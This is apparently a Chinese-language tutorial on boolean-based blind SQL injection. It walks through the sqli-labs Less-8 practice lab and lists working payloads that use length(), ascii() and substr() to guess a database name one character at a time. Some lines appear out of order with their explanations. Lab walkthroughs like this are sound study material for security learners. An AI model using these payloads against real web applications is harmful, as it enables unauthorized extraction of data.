布尔盲注是什么?
当存在 SQL 注入时,攻击者无法通过页面或请求的返回信息,回显或获取到 SQL 注入语句的执行结
果,这种情况就叫盲注。
布尔型盲注就是利用返回的 True 或 False 来判断注入语句是否执行成功。它只会根据你的注入信息
返回 Ture 跟 Fales ,也就没有了之前的报错信息。
什么情况下考虑使用布尔盲注?
1. 该输入框存在注入点。
2. 该页面或请求不会回显注入语句执行结果,故无法使用 UNION 注入。
3. 对数据库报错进行了处理,无论用户怎么输入都不会显示报错信息,故无法使用报错注入。
布尔盲注是在 SQL 注入时没有回显和报错,无法使用联合查询和报错注入时的手段, 它通过返回的布尔
值 true 或 false 来判断注入语句是否成功 ,所以被叫作布尔盲注。
布尔盲注获取 sqli-labs 名称
安装 sqli-labs 数据库后,在虚拟机中打开链接: http://127.0.0.1/sqli-labs-master/Less-8/ ,以第 8 关为
例,用布尔盲注获取数据库名称:
获取数据库名字的字符长度:
输入下面代码正常回显,说明数据库名称字符长度大于 0
输入下面代码无回显,说明数据库名称字符长度小于 10
最后经过测试确定数据库名称字符长度为 8
用 ASCII 码获取数据库名称的字符
字母在计算机中可以转换成 ASCII 码,在 SQL 语句中也能判断长度,从而确定数据库名称的字符范
围,进而猜测具体字符
substr 函数:截取字符
concat :将多个字符连接成一个字符串
首字符:
下面两条命令 120 无回显, 110 有回显
?id=2' and length(database())>0 --+
?id=2' and length(database())>10 --+
?id=2' and length(database())=8 --+
?id=2' and ascii(substr((select database()),1,1))>120 --+
?id=2' and ascii(substr((select database()),1,1))>110 --+
猜测 ASCII 码值为 115 ,有回显, 116 无回显,所以正确的 ASCII 码是 115
运行结果:
查看 ASCII 码对照表,确认数据库首字母为 s 。
第二个字符:
下面两条命令 110 无回显, 109 有回显
猜测 ASCII 码值为 100,100 无回显, 101 有回显,正确 ASCII 码为 101 ,第二个字母为 e
运行结果:
?id=2' and ascii(substr((select database()),1,1))=115 --+
?id=2' and ascii(substr((select database()),2,1))>105 --+
?id=2' and ascii(substr((select database()),2,1))>102 --+
?id=2' and ascii(substr((select database()),2,1))=101 --+